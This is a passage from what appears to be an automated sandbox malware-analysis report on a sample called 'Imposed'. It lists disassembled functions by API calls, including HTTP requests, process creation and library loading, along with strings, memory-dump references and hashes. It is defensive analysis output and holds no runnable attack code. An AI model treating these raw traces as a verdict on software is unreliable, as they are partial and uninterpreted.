                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 009F63FC
                                                                                                                                                                • PostMessageW.USER32(?,00000005,00000000,?), ref: 009F6421
                                                                                                                                                                • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 009F644B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 895679908-0
                                                                                                                                                                • Opcode ID: 0b0dd663d9a0bcca44c268df027c5d43f153e24629ac641d84626d37cec60b87
                                                                                                                                                                • Instruction ID: e9a10c081439265e423c2455d2f5d0297f578f1b5991d4b09ea40080d4614bbe
                                                                                                                                                                • Opcode Fuzzy Hash: 0b0dd663d9a0bcca44c268df027c5d43f153e24629ac641d84626d37cec60b87
                                                                                                                                                                • Instruction Fuzzy Hash: BF716D71900709AFDB20DFA8CE45BBEBBF9FF48704F100928E696A25A0D775E945CB50
                                                                                                                                                                Function 00A10654 Relevance: 27.1, APIs: 18, Instructions: 128COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00A1066D
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00A10678
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00A10683
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00A1068E
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00A10699
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00A106A4
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F81), ref: 00A106AF
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00A106BA
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F80), ref: 00A106C5
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00A106D0
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00A106DB
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00A106E6
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00A106F1
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00A106FC
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00A10707
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00A10712
                                                                                                                                                                • GetCursorInfo.USER32(?), ref: 00A10722
                                                                                                                                                                • GetLastError.KERNEL32 ref: 00A10764
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Cursor$Load$ErrorInfoLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3215588206-0
                                                                                                                                                                • Opcode ID: 019344683aee7d9225ce21c9322ade29de6400d7365fb2dd86c927d4ef5edda2
                                                                                                                                                                • Instruction ID: 4ea715f2da73b3459fab033f97f7ba0ec9aff7595b37d2df9b75d96788553d8a
                                                                                                                                                                • Opcode Fuzzy Hash: 019344683aee7d9225ce21c9322ade29de6400d7365fb2dd86c927d4ef5edda2
                                                                                                                                                                • Instruction Fuzzy Hash: D34152B0D043196ADB10DFBA8C89C6EBFE8FF04354B54452AE11CEB281DB78E8418F91
                                                                                                                                                                Function 009B04E6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 009B04E6
                                                                                                                                                                  • Part of subcall function 009B050D: InitializeCriticalSectionAndSpinCount.KERNEL32(00A616FC,00000FA0,742074A5,?,?,?,?,009D27D3,000000FF), ref: 009B053C
                                                                                                                                                                  • Part of subcall function 009B050D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,009D27D3,000000FF), ref: 009B0547
                                                                                                                                                                  • Part of subcall function 009B050D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,009D27D3,000000FF), ref: 009B0558
                                                                                                                                                                  • Part of subcall function 009B050D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 009B056E
                                                                                                                                                                  • Part of subcall function 009B050D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 009B057C
                                                                                                                                                                  • Part of subcall function 009B050D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 009B058A
                                                                                                                                                                  • Part of subcall function 009B050D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 009B05B5
                                                                                                                                                                  • Part of subcall function 009B050D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 009B05C0
                                                                                                                                                                • ___scrt_fastfail.LIBCMT ref: 009B0507
                                                                                                                                                                  • Part of subcall function 009B04C3: __onexit.LIBCMT ref: 009B04C9
                                                                                                                                                                Strings
                                                                                                                                                                • WakeAllConditionVariable, xrefs: 009B0582
                                                                                                                                                                • InitializeConditionVariable, xrefs: 009B0568
                                                                                                                                                                • api-ms-win-core-synch-l1-2-0.dll, xrefs: 009B0542
                                                                                                                                                                • SleepConditionVariableCS, xrefs: 009B0574
                                                                                                                                                                • kernel32.dll, xrefs: 009B0553
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
                                                                                                                                                                • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                                                                                                                                • API String ID: 66158676-1714406822
                                                                                                                                                                • Opcode ID: c2ecc4c51fab75a65a9e064e6c834d6d36f082dd2f840437a42fb031749e8edd
                                                                                                                                                                • Instruction ID: c27a9e7c8d61c89843a0c54ee605ebdc2bb5e2fda11d4fa03c535c1a09047995
                                                                                                                                                                • Opcode Fuzzy Hash: c2ecc4c51fab75a65a9e064e6c834d6d36f082dd2f840437a42fb031749e8edd
                                                                                                                                                                • Instruction Fuzzy Hash: FD21DA326457006FD7309BE5AE46FAB36A8EB84F71F140525F801D6A91EBB498428E90
                                                                                                                                                                Function 009F3901 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen
                                                                                                                                                                • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                                • API String ID: 176396367-1603158881
                                                                                                                                                                • Opcode ID: 251ee7149ec68503a54e3401d427e0ee9cf161469e288335357e8490d2722550
                                                                                                                                                                • Instruction ID: 0d8f2aab5e39f639bf6065f2ecd9878bf183009d214a46e7f2955d0556047a58
                                                                                                                                                                • Opcode Fuzzy Hash: 251ee7149ec68503a54e3401d427e0ee9cf161469e288335357e8490d2722550
                                                                                                                                                                • Instruction Fuzzy Hash: 82E1C132A0051AABCF149FB8C4517FDFBB9BF44750F108529EA56E7281DB38AE84C790
                                                                                                                                                                Function 00A04DD7 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CharLowerBuffW.USER32(00000000,00000000,00A2DBF4), ref: 00A04E3E
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A04E52
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A04EB0
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A04F0B
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A04F56
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A04FBE
                                                                                                                                                                  • Part of subcall function 009AFE52: _wcslen.LIBCMT ref: 009AFE5D
                                                                                                                                                                • GetDriveTypeW.KERNEL32(?,00A57BD0,00000061), ref: 00A0505A
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$BuffCharDriveLowerType
                                                                                                                                                                • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                                                                                                                • API String ID: 2055661098-1000479233
                                                                                                                                                                • Opcode ID: 6f5925f20c5439fce5dc51b32c24b58c36b54cfecb37c5cc66130befd721dc71
                                                                                                                                                                • Instruction ID: 1dfd1992e51043a8d31009eed92180fda28a762ed85f82ea903a37a512ae8ebe
                                                                                                                                                                • Opcode Fuzzy Hash: 6f5925f20c5439fce5dc51b32c24b58c36b54cfecb37c5cc66130befd721dc71
                                                                                                                                                                • Instruction Fuzzy Hash: 51B1AF71A083069FC710DF28E990A6EB7E5BFD8724F50491DF596872D2D730D845CBA2
                                                                                                                                                                Function 00A1B779 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1B918
                                                                                                                                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A1B930
                                                                                                                                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A1B954
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1B980
                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A1B994
                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A1B9B6
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1BAB2
                                                                                                                                                                  • Part of subcall function 00A00E01: GetStdHandle.KERNEL32(000000F6), ref: 00A00E20
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1BACB
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1BAE6
                                                                                                                                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A1BB36
                                                                                                                                                                • GetLastError.KERNEL32(00000000), ref: 00A1BB87
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00A1BBB9
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A1BBCA
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A1BBDC
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A1BBEE
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00A1BC63
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2178637699-0
                                                                                                                                                                • Opcode ID: 19f0014e9e5ce64d193c96471a115e617d00a22e955cfd39271bddd98b6f09af
                                                                                                                                                                • Instruction ID: bc1088deb47507f71f6a3d9a833e3b192393c80fcb4bd8079ffdfec88b5dcd4f
                                                                                                                                                                • Opcode Fuzzy Hash: 19f0014e9e5ce64d193c96471a115e617d00a22e955cfd39271bddd98b6f09af
                                                                                                                                                                • Instruction Fuzzy Hash: 05F1B0715183409FCB14EF28C991BAABBE5BFC5350F14855DF4998B2A2CB31EC45CBA2
                                                                                                                                                                Function 00A147BC Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00A2DBF4), ref: 00A1488E
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00A148A0
                                                                                                                                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,00A2DBF4), ref: 00A148C5
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,00A2DBF4), ref: 00A14911
                                                                                                                                                                • StringFromGUID2.OLE32(?,?,00000028,?,00A2DBF4), ref: 00A1497B
                                                                                                                                                                • SysFreeString.OLEAUT32(00000009), ref: 00A14A35
                                                                                                                                                                • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00A14A9B
                                                                                                                                                                • SysFreeString.OLEAUT32(?), ref: 00A14AC5
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
                                                                                                                                                                • String ID: GetModuleHandleExW$kernel32.dll
                                                                                                                                                                • API String ID: 354098117-199464113
                                                                                                                                                                • Opcode ID: 0328218716cd35e9131c8356538a3a3db46a0d3303e1cdb20c4c25e734183c5c
                                                                                                                                                                • Instruction ID: eccbcd45312f3867a66f486efdffdd24f64d00577e17021313ccf683ab71d73a
                                                                                                                                                                • Opcode Fuzzy Hash: 0328218716cd35e9131c8356538a3a3db46a0d3303e1cdb20c4c25e734183c5c
                                                                                                                                                                • Instruction Fuzzy Hash: 0E123D75A00115EFDB14DF98C884EEEBBB5FF89354F248098E905AB251D731ED86CBA0
                                                                                                                                                                Function 00A272C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DestroyWindow.USER32(00000000,?), ref: 00A273D2
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00A27446
                                                                                                                                                                • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00A27468
                                                                                                                                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A2747B
                                                                                                                                                                • DestroyWindow.USER32(?), ref: 00A2749C
                                                                                                                                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00990000,00000000), ref: 00A274CB
                                                                                                                                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A274E4
                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00A274FD
                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 00A27504
                                                                                                                                                                • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00A2751C
                                                                                                                                                                • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00A27534
                                                                                                                                                                  • Part of subcall function 00992184: GetWindowLongW.USER32(?,000000EB), ref: 00992192
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
                                                                                                                                                                • String ID: 0$tooltips_class32
                                                                                                                                                                • API String ID: 2429346358-3619404913
                                                                                                                                                                • Opcode ID: daf883ffe2a1c3c7459927a00913804174f9fc938ef9c9c4ef1135bf199371c0
                                                                                                                                                                • Instruction ID: 06a255ff0bf8c969b1b182a731129b308f58f2397d5fc8367933251215abcebf
                                                                                                                                                                • Opcode Fuzzy Hash: daf883ffe2a1c3c7459927a00913804174f9fc938ef9c9c4ef1135bf199371c0
                                                                                                                                                                • Instruction Fuzzy Hash: AB7165B1108644AFD721DF5CEC54B6ABBF9FBC9304F44082DF985872A1CB74AA02CB52
                                                                                                                                                                Function 00A29726 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • DragQueryPoint.SHELL32(?,?), ref: 00A2974F
                                                                                                                                                                  • Part of subcall function 00A27C5B: ClientToScreen.USER32(?,?), ref: 00A27C81
                                                                                                                                                                  • Part of subcall function 00A27C5B: GetWindowRect.USER32(?,?), ref: 00A27CF7
                                                                                                                                                                  • Part of subcall function 00A27C5B: PtInRect.USER32(?,?,?), ref: 00A27D07
                                                                                                                                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00A297B8
                                                                                                                                                                • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00A297C3
                                                                                                                                                                • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00A297E6
                                                                                                                                                                • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00A2982D
                                                                                                                                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00A29846
                                                                                                                                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00A2985D
                                                                                                                                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00A2987F
                                                                                                                                                                • DragFinish.SHELL32(?), ref: 00A29886
                                                                                                                                                                • DefDlgProcW.USER32(?,00000233,?,00000000), ref: 00A29979
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
                                                                                                                                                                • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                • API String ID: 221274066-3440237614
                                                                                                                                                                • Opcode ID: aeea62bcc8c6a40dbe363b7f9ded14500297a9c57ec683a3d7940d0b40df7fd9
                                                                                                                                                                • Instruction ID: 1f20e6863522faac5ca329d7ffafb7887a6ac881190e8288e31cf7f9f628cd9e
                                                                                                                                                                • Opcode Fuzzy Hash: aeea62bcc8c6a40dbe363b7f9ded14500297a9c57ec683a3d7940d0b40df7fd9
                                                                                                                                                                • Instruction Fuzzy Hash: A8613B71108301AFC711EF98DC85EAFBBF8EBC9750F40092DF595961A1DB709A4ACB52
                                                                                                                                                                Function 00A0CCA9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A0CCE3
                                                                                                                                                                • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00A0CCF6
                                                                                                                                                                • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00A0CD0A
                                                                                                                                                                • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00A0CD23
                                                                                                                                                                • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00A0CD66
                                                                                                                                                                • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00A0CD7C
                                                                                                                                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A0CD87
                                                                                                                                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00A0CDB7
                                                                                                                                                                • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00A0CE0F
                                                                                                                                                                • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00A0CE23
                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 00A0CE2E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3800310941-3916222277
                                                                                                                                                                • Opcode ID: 36060ed0cae035cd8021ddfea1538bbd754d552f8c5e16aea7ba48ff6b11d565
                                                                                                                                                                • Instruction ID: fd4e131b74e0337d096a4e76cd59725bc348c85d37bf5991374efcedec94de5d
                                                                                                                                                                • Opcode Fuzzy Hash: 36060ed0cae035cd8021ddfea1538bbd754d552f8c5e16aea7ba48ff6b11d565
                                                                                                                                                                • Instruction Fuzzy Hash: 80519CB1500208BFDB21DFA4D988ABB7BBCFF08764F10452AF94596291D734E946DBA0
                                                                                                                                                                Function 00A28B77 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00A26313,?,?), ref: 00A28B9A
                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00A26313,?,?,00000000,?), ref: 00A28BAA
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00A26313,?,?,00000000,?), ref: 00A28BB5
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,00A26313,?,?,00000000,?), ref: 00A28BC2
